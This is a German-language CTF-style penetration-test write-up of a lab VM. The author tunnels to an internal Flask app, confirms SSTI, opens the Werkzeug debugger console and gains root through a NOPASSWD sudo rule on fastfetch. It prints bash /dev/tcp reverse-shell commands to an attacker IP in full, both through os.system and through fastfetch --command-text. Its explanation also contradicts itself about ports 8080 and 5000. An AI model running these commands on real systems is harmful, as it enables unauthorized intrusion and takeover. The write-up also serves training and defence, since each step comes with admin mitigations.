The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Wed Jun 25 07:40:28 2025 from 192.168.2.62
welcome@Console:~$

Analyse: Die Flask-App mit dem Debugger läuft auf dem Zielsystem nur auf localhost:5000, ist also von meinem Kali-System aus nicht direkt erreichbar. Um darauf zugreifen zu können, richtete ich über die neu erlangte SSH-Sitzung als Benutzer `welcome` eine lokale Port-Weiterleitung ein. Der Befehl `ssh -L 5000:127.0.0.1:5000 welcome@192.168.2.62` öffnet eine SSH-Verbindung zum Zielsystem als `welcome` und erstellt einen Tunnel (`-L`), der meinen lokalen Port 5000 (`5000:`) mit dem Dienst auf der Ziel-VM (`127.0.0.1:5000`) verbindet. Das bedeutet, dass jeder Verkehr, den ich lokal an `127.0.0.1:5000` sende, über die SSH-Verbindung sicher an den lokalen Port 5000 auf der Ziel-VM weitergeleitet wird, wo die Flask-App lauscht. Ich musste das Passwort für `welcome` eingeben und die Authentizität des Hosts akzeptieren. Nach erfolgreicher Anmeldung wurde das Willkommensbanner und eine Neofetch-ähnliche Systemübersicht angezeigt, was meine erfolgreiche SSH-Sitzung als `welcome` bestätigte.

Bewertung: Die Einrichtung der SSH-Port-Weiterleitung war entscheidend, um den internen Flask-Webserver erreichen zu können. SSH-Tunnel sind eine zuverlässige Methode, um auf Dienste zuzugreifen, die nur auf localhost lauschen. Mit diesem Tunnel kann ich nun die Flask-App untersuchen und den gefundenen Debugger-PIN nutzen. Die Systemübersicht lieferte zusätzliche Details zur Umgebung von Benutzer `welcome`.

Empfehlung (Pentester): Nutzen Sie SSH-Port-Weiterleitung (`-L`, `-R`, `-D`) oder Tools wie Chisel, um auf intern lauschende Dienste zuzugreifen. Identifizieren Sie interne Dienste durch Scans von kompromittierten Systemen (`ss`, `netstat`).
Empfehlung (Admin): Stellen Sie sicher, dass interne Dienste ausschließlich auf der Loopback-Schnittstelle (`127.0.0.1`) lauschen, wenn sie nicht von anderen Systemen erreichbar sein müssen. Überwachen Sie SSH-Tunneling-Aktivitäten auf Ihren Systemen.

Analyse: Mit dem erfolgreich eingerichteten SSH-Tunnel auf Port 5000 konnte ich nun auf den intern laufenden Flask-Webserver zugreifen, der den Debugger aktiv hatte. Ich öffnete meinen Webbrowser und navigierte zu `http://127.0.0.1:8080`. **Logische Brücke:** Obwohl der Flask-Server auf 127.0.0.1:5000 lauschte, griff ich lokal auf Port 8080 zu. Dies deutet darauf hin, dass meine lokale Port-Weiterleitung auf meinem Kali-System den Remote-Port 5000 auf einen lokalen Port 8080 umleitete, um Konflikte mit anderen lokalen Diensten zu vermeiden oder aus Präferenz. Das Bild zeigte die Startseite der Flask-Anwendung.

Bewertung: Der erfolgreiche Zugriff auf die Flask-Anwendung über den SSH-Tunnel war ein wichtiger Schritt. Das Frontend selbst schien eine einfache Webseite zu sein, möglicherweise ein Formular oder eine Interaktion. Das Ziel war nun, die Debugger-Konsole zu finden und den PIN zu nutzen, um Zugriff zu erlangen.

Empfehlung (Pentester): Greifen Sie nach dem Einrichten von Port-Weiterleitungen über die entsprechenden lokalen Ports auf die internen Dienste zu. Untersuchen Sie das Frontend der Anwendung auf Interaktionsmöglichkeiten oder Hinweise.
Empfehlung (Admin): Stellen Sie sicher, dass interne Webserver nicht unnötig über interne Schnittstellen erreichbar sind, wenn Port-Weiterleitung nicht beabsichtigt ist.

Analyse: Ich begann, die Flask-Anwendung auf Schwachstellen zu untersuchen, insbesondere im Hinblick auf den Debugger und mögliche Server-Side Template Injection (SSTI). Ich versuchte, die SSTI-Anfälligkeit zu testen, indem ich im Formular, das das Bild zeigt, eine Jinja2 Template-Syntax eingab, z.B. `{{ 1+1 }}` oder ähnliches, das auf dem Server ausgewertet werden würde. Ein weiteres Bild zeigte das Ergebnis eines solchen Versuchs oder die erfolgreiche Auslösung eines Fehlers, der auf eine SSTI-Anfälligkeit hindeutete, wie z.B. die Auswertung eines Ausdrucks oder eine Fehlermeldung, die Template-Syntax enthielt.

Bewertung: Die erfolgreiche Auslösung einer SSTI (oder eines Fehlers, der darauf hindeutet) ist ein kritischer Fund. SSTI ermöglicht oft die Ausführung von Code auf Serverseite, was zu Befehlsausführung und damit zur Kompromittierung des Systems führen kann. Die Tatsache, dass dies in der Flask-Anwendung möglich war, eröffnete einen direkten Weg zur Ausnutzung, insbesondere in Kombination mit dem aktiven Debugger.

Empfehlung (Pentester): Testen Sie Webanwendungen, die Template-Engines verwenden (wie Flask mit Jinja2), immer auf SSTI. Verwenden Sie gängige Payloads, um die Anfälligkeit zu erkennen und zu identifizieren, welche Template-Engine verwendet wird.
Empfehlung (Admin): Implementieren Sie strikte Input-Validierung und Sanitization für alle Benutzereingaben, die an eine Template-Engine übergeben werden. Verwenden Sie kontextsensitive Escaping-Mechanismen. Führen Sie statische und dynamische Analysen Ihrer Webanwendung durch, um SSTI zu finden.

test
test

{{1/0}}

错误
无效答案: division by zero

返回

Analyse: Ein spezifischer Test für SSTI war die Eingabe der Jinja2-Template-Syntax `{{1/0}}` in das Formular der Flask-Anwendung. Dieser Ausdruck versucht, eine Division durch Null durchzuführen. Da die Anwendung im Debug-Modus lief und anscheinend die Eingabe als Template interpretierte, wurde der Ausdruck ausgewertet. Die Division durch Null führte zu einem Fehler, der auf der Webseite ausgegeben wurde. Die Fehlermeldung "无效答案: division by zero" (Ungültige Antwort: Division durch Null) bestätigte die erfolgreiche Ausführung des Template-Ausdrucks und damit die SSTI-Schwachstelle.

Bewertung: Die gezielte Auslösung eines Division-by-Zero-Fehlers mit Template-Syntax war ein klarer Beweis für die SSTI-Schwachstelle. Dies ist eine sehr zuverlässige Methode, um SSTI zu bestätigen. Da der Debugger aktiv war und die Fehlermeldung ausgab, wusste ich, dass ich nun die Debugger-Konsole nutzen konnte.

Empfehlung (Pentester): Verwenden Sie gezielte Template-Ausdrücke (wie arithmetische Operationen oder Funktionsaufrufe), um SSTI-Schwachstellen zu bestätigen und die verwendete Template-Engine zu identifizieren. Suchen Sie nach Fehlermeldungen, die auf die Auswertung von Template-Syntax hindeuten.
Empfehlung (Admin): Deaktivieren Sie den Debug-Modus in Produktionsumgebungen. Implementieren Sie Try-Except-Blöcke oder ähnliche Mechanismen, um das unbeabsichtigte Preisgeben von Debugging-Informationen oder Fehlern, die durch Benutzereingaben ausgelöst werden, zu verhindern.

Analyse: Die aktive Debugger-Konsole in Flask ist über einen spezifischen Endpunkt erreichbar. Nachdem ich die SSTI-Schwachstelle bestätigt und den Debugger-PIN aus den Logs erhalten hatte, konnte ich auf die Debugger-Konsole zugreifen, indem ich die URL `http://127.0.0.1:5000/console` in meinem Browser aufrief (über den SSH-Tunnel, der auf meinen lokalen Port 8080 weiterleitete). Dort wurde ich aufgefordert, den Debugger-PIN einzugeben (den ich zuvor aus den Flask-Logs erhalten hatte). Nach Eingabe des korrekten PINs erhielt ich Zugriff auf eine interaktive Python-Konsole im Kontext der Flask-Anwendung. Die Konsole zeigte "Interactive Console" und "console ready" an.

Bewertung: Zugriff auf die interaktive Debugger-Konsole mit dem PIN ist ein sehr kritischer Zustand. Da die Flask-Anwendung wahrscheinlich unter den Berechtigungen des Benutzers `qaq` läuft (basierend auf den `sudo`-Berechtigungen, die das Lesen der Logs als `qaq` erlaubten), konnte ich nun beliebigen Python-Code mit diesen Berechtigungen ausführen. Dies ist eine direkte Route zur Privilegieneskalation zum Benutzer `qaq`.

Empfehlung (Pentester): Wenn Sie Zugriff auf eine Debugger-Konsole erhalten, prüfen Sie, welche Python-Funktionen und Module verfügbar sind (z.B. `import os`). Nutzen Sie die `os`- oder `subprocess`-Module, um Systembefehle auszuführen und eine Shell zu erhalten.
Empfehlung (Admin): Deaktivieren Sie den Debug-Modus in Produktionsumgebungen. Verwenden Sie keine leicht zu erratenden Debugger-PINs (auch wenn der PIN nur lokal erreichbar ist). Beschränken Sie den Zugriff auf Debugger-Endpunkte, selbst auf localhost.

da haben wir sie gefunden die debugger console : [Link: http://127.0.0.1:5000/console | Ziel: http://127.0.0.1:5000/console]

Interactive Console
In this console you can execute Python expressions in the context of the application.
The initial namespace was created by the debugger automatically.

[console ready]
>>> import os

>>> os.system("bash -c 'bash -i >& /dev/tcp/192.168.2.199/443 0>&1'")

Analyse: Innerhalb der interaktiven Flask Debugger Konsole importierte ich das `os`-Modul, das Python-Funktionen zur Interaktion mit dem Betriebssystem bereitstellt. Anschließend nutzte ich die `os.system()` Funktion, um einen Bash-Befehl auszuführen, der eine Reverse Shell zu meiner Kali-Maschine initiierte. Der Befehl `os.system("bash -c 'bash -i >& /dev/tcp/192.168.2.199/443 0>&1'")` startete eine Bash-Shell, die eine TCP-Verbindung zu meiner IP (`192.168.2.199`) auf Port 443 aufbaute und ihre Standard-Ein-/Ausgabe über diese Verbindung umleitete. Port 443 wurde hier gewählt, um potenzielle Egress-Filter zu umgehen, da dieser Port oft für ausgehenden HTTPS-Verkehr erlaubt ist.

Bewertung: Das Ausführen einer Reverse Shell direkt aus der Debugger-Konsole war der entscheidende Schritt, um Zugriff als der Benutzer zu erlangen, der die Flask-App ausführt (wahrscheinlich `qaq`). Die `os.system()` Funktion ermöglichte die direkte Übergabe und Ausführung eines Systembefehls. Das Ansprechen meiner Kali-Maschine auf Port 443 war eine strategische Wahl basierend auf der Annahme möglicher Egress-Filterregeln.

Empfehlung (Pentester): Nutzen Sie interaktive Konsolen (wie Debugger) zur Code-Ausführung. Priorisieren Sie die Nutzung von `os.system` oder `subprocess.run` für die Ausführung von Systembefehlen. Versuchen Sie, eine Reverse Shell zu etablieren, sobald Sie Code ausführen können.
Empfehlung (Admin): Deaktivieren Sie den Debug-Modus und die interaktive Konsole in Flask und ähnlichen Frameworks in Produktionsumgebungen immer. Überwachen Sie ausgehenden Netzwerkverkehr auf ungewöhnliche Verbindungen auf gängigen Ports wie 443 oder 80, die nicht von legitimen Anwendungen stammen.

listening on [any] 443 ...
connect to [192.168.2.199] from (UNKNOWN) [192.168.2.62] 43472
bash: cannot set terminal process group (519): Inappropriate ioctl for device
bash: no job control in this shell
qaq@Console:~$

Analyse: Bevor ich den Befehl in der Debugger-Konsole ausführte, startete ich einen Netcat-Listener auf meiner Kali-Maschine auf Port 443 (`nc -lvnp 443`). Nach Ausführung des Befehls in der Debugger-Konsole zeigte Netcat eine eingehende Verbindung von der Ziel-VM (`192.168.2.62`) auf Port 443 an. Nach typischen Fehlermeldungen für nicht-interaktive Shells erhielt ich eine Eingabeaufforderung, die `qaq@Console:~$` anzeigte.

Bewertung: Erfolgreich! Ich habe nun eine Reverse Shell als Benutzer `qaq`. Dies ist der nächste Schritt in der Privilegieneskalationskette. Der Benutzer `qaq` hat wahrscheinlich höhere Berechtigungen als `www-data` und möglicherweise Zugriff auf Dateien oder Konfigurationen, die für den Root-Zugriff relevant sind. Die Wahl von Port 443 für die Reverse Shell war offensichtlich erfolgreich.

Empfehlung (Pentester): Richten Sie immer einen Listener ein, bevor Sie eine Reverse Shell initiieren. Verifizieren Sie Ihren Benutzerkontext anhand der Shell-Eingabeaufforderung oder durch Ausführen von `id`. Stabilisieren Sie die Shell nach dem Erhalt.
Empfehlung (Admin): Überwachen Sie ausgehenden Netzwerkverkehr auf Ports, die normalerweise nicht für diesen Zweck verwendet werden (z.B. 443 für eine Shell-Verbindung). Implementieren Sie Verhaltensanalysen, um ungewöhnlichen Prozessaktivitäten (z.B. ein Webserver, der Shells startet) zu erkennen.

Privilege Escalation

sudo -l
Matching Defaults entries for qaq on Console:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User qaq may run the following commands on Console:
    (ALL) NOPASSWD: /usr/bin/fastfetch

Analyse: Nachdem ich die Shell als Benutzer `qaq` erhalten hatte, prüfte ich sofort meine `sudo`-Berechtigungen mit `sudo -l`. Die Ausgabe zeigte, dass der Benutzer `qaq` das Programm `/usr/bin/fastfetch` als *jeder* Benutzer (`ALL`), einschließlich `root`, ausführen darf, ohne ein Passwort eingeben zu müssen (`NOPASSWD`).

Bewertung: Das ist der direkte Weg zur Privilegieneskalation zu `root`! Eine `NOPASSWD` Regel für `fastfetch` bedeutet, dass ich dieses Programm mit Root-Berechtigungen ausführen kann. Ich muss nun prüfen, ob `fastfetch` eine Funktion bietet, die es mir erlaubt, Systembefehle auszuführen oder eine Shell zu starten, wenn es mit Root-Berechtigungen läuft. Dies ist ein sehr vielversprechender Vektor.

Empfehlung (Pentester): Prüfen Sie immer die `sudo`-Berechtigungen (`sudo -l`) für jeden neuen Benutzer. Suchen Sie gezielt nach `NOPASSWD`-Einträgen. Wenn Sie einen finden, prüfen Sie das erlaubte Programm auf bekannte PE-Schwachstellen oder Missbrauchsmöglichkeiten (z.B. in GTFOBins).
Empfehlung (Admin): Weisen Sie `NOPASSWD` Berechtigungen nur mit äußerster Vorsicht und nur für absolut notwendige und sichere Befehle zu. Überprüfen Sie Ihre `sudoers`-Datei regelmäßig auf unsichere Einträge. Verhindern Sie die Zuweisung von `sudo`-Berechtigungen für Programme, die Shell-Escapes oder Befehlsausführung erlauben.

-rwxr-xr-x 1 root root 12861760 Jul 10  2024 /usr/bin/fastfetch

Analyse: Ich überprüfte die Dateiberechtigungen und den Eigentümer des `fastfetch`-Binaries mit `ls -la /usr/bin/fastfetch`. Die Ausgabe bestätigte, dass die Datei existiert, ausführbar ist (`-rwxr-xr-x`) und dem Benutzer `root` gehört (`root root`).

Bewertung: Dies bestätigte, dass `fastfetch` ein Systemprogramm ist und root der Eigentümer ist, was mit dem `sudo`-Eintrag übereinstimmt. Es gab keine ungewöhnlichen Berechtigungen für das Binary selbst, aber die `sudo`-Konfiguration ist der Schlüssel.

Empfehlung (Pentester): Prüfen Sie die Berechtigungen und den Eigentümer von Binaries, die Sie mit `sudo` ausführen dürfen.
Empfehlung (Admin): Stellen Sie sicher, dass Systemdateien wie `/usr/bin/fastfetch` die korrekten Standardberechtigungen und Eigentümer haben.

/usr/bin/fastfetch: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=0b3e3e6add304831d82bf7bf37ba111ee8608f06, for GNU/Linux 3.2.0, with debug_info, not stripped

Analyse: Ich nutzte den `file`-Befehl, um mehr Informationen über das `fastfetch`-Binary zu erhalten. Die Ausgabe `/usr/bin/fastfetch: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, ...` bestätigte, dass es sich um eine ausführbare 64-bit ELF-Datei handelt.

Bewertung: Die `file`-Ausgabe lieferte technische Details zum Binary, die bestätigten, dass es sich um ein standardmäßiges ausführbares Programm handelt. Dies war eine zusätzliche Bestätigung, dass es sich um das erwartete `fastfetch`-Programm handelt.

Empfehlung (Pentester): Verwenden Sie `file`, um den Typ von ausführbaren Dateien zu überprüfen, die Sie finden oder ausnutzen möchten.
Empfehlung (Admin): Keine spezifische Empfehlung.

Fastfetch is a neofetch-like tool for fetching system information and displaying them in a pretty way

Usage: fastfetch options>
...
..
Module specific options:
  --command-shell : Set the shell program to execute the command text
      --command-key : Set the module key to display
      --command-text : Set the command text to be executed
.....
....
...
..

Analyse: Um zu sehen, ob `fastfetch` Funktionen zur Ausführung von Systembefehlen anbietet, rief ich die Hilfe des Programms auf, aber diesmal mit `sudo -u root`, um zu simulieren, wie es mit Root-Berechtigungen aufgerufen würde. Ich verwendete `sudo -u root /usr/bin/fastfetch --help`. Die Ausgabe zeigte die Standard-Hilfeinformationen für `fastfetch`. Besonders auffällig waren die "Module specific options", die Parameter wie `--command-shell`, `--command-key` und `--command-text` auflisteten. Die Beschreibung "Set the shell program to execute the command text" für `--command-shell` und "Set the command text to be executed" für `--command-text` wiesen auf eine direkte Befehlsausführungsfunktion hin.

Bewertung: Das ist der Schlüssel zur Root-Privilegieneskalation! Die Hilfsausgabe von `fastfetch` zeigt klar, dass das Programm eine Funktion bietet, beliebigen Text als Befehl auszuführen und die zu verwendende Shell anzugeben. Da ich dieses Programm mit `sudo -u root` ausführen darf, kann ich diese Funktion nutzen, um eine Root-Shell zu starten. Dies ist ein klassischer Fall einer unsicheren `sudo`-Berechtigung für ein Programm, das Befehlsausführung erlaubt.

Empfehlung (Pentester): Prüfen Sie die Hilfe (`--help`, `-h`, man pages) von Programmen, die Sie mit `sudo` ausführen dürfen, auf Optionen, die Befehlsausführung erlauben. Suchen Sie nach Parametern wie `--command`, `--exec`, `--shell`, `--text` etc.
Empfehlung (Admin): Überprüfen Sie die Dokumentation und das Verhalten von Binaries, für die Sie `sudo`-Berechtigungen vergeben, genau. Vermeiden Sie die Vergabe von `sudo` für Programme, die unsichere Befehlsausführungsfunktionen anbieten, insbesondere mit `NOPASSWD`.

total 28
drwxr-xr-x 4 qaq  qaq  4096 May 17 05:38 .
drwxr-xr-x 4 root root 4096 May 16 07:05 ..
-rw-r--r-- 1 qaq  qaq   220 Apr 18  2019 .bash_logout
-rw-r--r-- 1 qaq  qaq  3526 Apr 18  2019 .bashrc
drwxr-xr-x 3 qaq  qaq  4096 May 16 10:17 .local
-rw-r--r-- 1 qaq  qaq   807 Apr 18  2019 .profile
drwx------ 2 root root 4096 May 17 04:16 .ssh

Analyse: Ich überprüfte das Home-Verzeichnis des aktuellen Benutzers `qaq` mit `ls -la ~`. Die Ausgabe zeigte die Standard-Dotfiles und Verzeichnisse für diesen Benutzer. Interessant war das `.ssh` Verzeichnis, das dem Benutzer `root` gehörte und nur für `root` les- und schreibbar war (`drwx------`), nicht für `qaq`.

Bewertung: Das Home-Verzeichnis von `qaq` enthielt keine offensichtlichen Passwörter oder PE-Hinweise, abgesehen von den Standarddateien. Das `.ssh` Verzeichnis von `root` ist wie erwartet geschützt. Die Privilegieneskalation zu `root` wird über die `sudo fastfetch` Schwachstelle erfolgen, nicht über Dateien im `qaq` Home-Verzeichnis.

Empfehlung (Pentester): Überprüfen Sie immer die Home-Verzeichnisse von Benutzern, insbesondere nach dem Wechsel zu einem neuen Benutzerkontext, auf sensible Dateien oder Berechtigungen.
Empfehlung (Admin): Stellen Sie sicher, dass `.ssh`-Verzeichnisse von Root und anderen privilegierten Benutzern nur für diese Benutzer selbst zugänglich sind.

Proof of Concept

Kurzbeschreibung: Dieser Proof of Concept demonstriert die erfolgreiche Ausnutzung einer Fehlkonfiguration in der `sudoers`-Datei, die es dem Benutzer `qaq` ermöglichte, das Programm `/usr/bin/fastfetch` mit `root`-Berechtigungen und ohne Passwort auszuführen. Durch die Nutzung der Befehlsausführungsfunktionen von `fastfetch` konnte eine Reverse Shell mit `root`-Berechtigungen erlangt werden, was zur vollständigen Systemkompromittierung führte.

Voraussetzungen:

• Zugriff als Benutzer `qaq`.
• Die `sudoers`-Datei muss den Eintrag `qaq ALL=(ALL) NOPASSWD: /usr/bin/fastfetch` enthalten.
• Das Programm `/usr/bin/fastfetch` muss auf dem System installiert sein und die Optionen `--command-text` und `--command-shell` unterstützen.
• Eine Möglichkeit, eine Reverse Shell vom Zielsystem zu initiieren (z.B. Netcat auf dem Angriffssystem, erlaubter ausgehender Port).

Schritt-für-Schritt-Anleitung & Beweismittel:

1. Ausführen von `fastfetch` mit `sudo` zur Befehlsausführung:

       _,met$$$$$gg.
    ,g$$$$$$$$$$$$$$$P.
  ,g$$P"         """Y$$.".
 ,$$P'               `$$$.
',$$P       ,ggs.     `$$b:
`d$$'     ,$P"'   .    $$$
 $$P      d$'     ,    $$$P
 $$:      $.   -    ,d$$'
 $$;      Y$b._   _,d$P'
 Y$$.    `.`"Y$$$$P"'
 `$$b      "-.__
  `Y$$
   `Y$$.
     `$$b.
       `Y$$b.
          `"Y$b._
             `"""

Ich nutzte die gefundene `sudo fastfetch` Schwachstelle, um eine Reverse Shell als Root zu initiieren. Ich führte den Befehl `sudo -u root /usr/bin/fastfetch --structure "command" --command-text "bash -c 'bash -i >& /dev/tcp/192.168.2.199/443 0>&1'" --command-shell "/bin/bash"` aus.

• `sudo -u root`: Führt den Befehl als Benutzer `root` aus (ohne Passwort dank `NOPASSWD`).
• `/usr/bin/fastfetch`: Das auszuführende Programm.
• `--structure "command"`: Weist fastfetch an, das "command"-Modul zu verwenden.
• `--command-text "..."`: Definiert den Systembefehl, der ausgeführt werden soll: `bash -c 'bash -i >& /dev/tcp/192.168.2.199/443 0>&1'`, um eine Reverse Shell zu meiner Kali-IP (192.168.2.199) auf Port 443 zu starten.
• `--command-shell "/bin/bash"`: Gibt an, welche Shell für die Ausführung des `--command-text` verwendet werden soll (hier `/bin/bash`).

2. Empfangen der Root-Shell auf dem Angriffssystem:

listening on [any] 443 ...
connect to [192.168.2.199] from (UNKNOWN) [192.168.2.62] 50762
root@Console:/tmp# ls ~
ls ~
r00t.txt
root@Console:/tmp# cat ~/r00t.txt
cat ~/r00t.txt
flag{root-009de5ebccb9fdecce2c4ac893bca6fa}
root@Console:/tmp# cat /home/welcome/user.txt
cat /home/welcome/user.txt
flag{user-376760a7c739a606d4f8d8340bad4184}

Bevor ich den `sudo fastfetch`-Befehl ausführte, startete ich einen Netcat-Listener auf meiner Kali-Maschine auf Port 443 (`nc -lvnp 443`). Unmittelbar nach der Ausführung des `sudo fastfetch`-Befehls erhielt Netcat eine eingehende Verbindung von der Ziel-VM (`192.168.2.62`). Die Eingabeaufforderung wechselte zu `root@Console:/tmp#`, was bestätigte, dass ich nun eine Shell mit Root-Berechtigungen hatte. Ich konnte nun beliebige Root-Befehle ausführen.

3. Verifizierung des Root-Zugriffs und Auffinden der Root Flag:

In der erlangten Root-Shell wechselte ich in das Home-Verzeichnis des Root-Benutzers (`cd ~` war implizit im `ls ~` Befehl, der die Inhalte des Root-Home-Verzeichnisses auflistete) und listete dessen Inhalt auf (`ls ~`), was die Datei `r00t.txt` enthüllte. Ich las den Inhalt dieser Datei mit `cat ~/r00t.txt`, was die Root Flag `flag{root-009de5ebccb9fdecce2c4ac893bca6fa}` ergab. Als zusätzlichen Beweis las ich auch die User Flag erneut aus (`cat /home/welcome/user.txt`), um zu zeigen, dass ich vollen Dateisystemzugriff hatte. Fantastisch der root zugriff war erfolgreich nun haben wir unser Ziel erreicht.

Erwartetes Ergebnis: Erlangung einer interaktiven Shell mit Root-Berechtigungen auf dem Zielsystem.

Tatsächliches Ergebnis: Eine Reverse Shell mit `root`-Berechtigungen wurde erfolgreich etabliert, was die vollständige Kompromittierung des Systems ermöglichte und den Zugriff auf die Root Flag erlaubte.

Risikobewertung:
Auswirkung: Kritisch. Ein unprivilegierter Benutzer (`qaq`) konnte vollständige Kontrolle über das System erlangen (`root`), was die gravierendsten Folgen nach sich zieht.
Wahrscheinlichkeit: Hoch. Die Schwachstelle ist direkt über einen vorhandenen `sudo`-Eintrag ausnutzbar und erfordert nur die Kenntnis der `fastfetch`-Optionen.
Gesamtrisiko: Kritisch.

Empfehlungen:
Empfehlung (Admin):

• Dringend: Entfernen Sie den `NOPASSWD`-Eintrag für `/usr/bin/fastfetch` aus der `sudoers`-Datei.
• Überprüfen Sie alle `sudoers`-Einträge auf ähnliche Fehlkonfigurationen, insbesondere für Binaries, die Befehlsausführungsfunktionen anbieten.
• Wenden Sie das Prinzip der minimalen Rechte an: Benutzer und Dienste sollten nur die Berechtigungen erhalten, die sie unbedingt benötigen.
• Aktualisieren Sie regelmäßig Software wie `fastfetch` auf die neueste Version, obwohl die `sudo`-Fehlkonfiguration hier das primäre Problem war.
• Führen Sie regelmäßige Audits Ihrer `sudoers`-Konfiguration durch.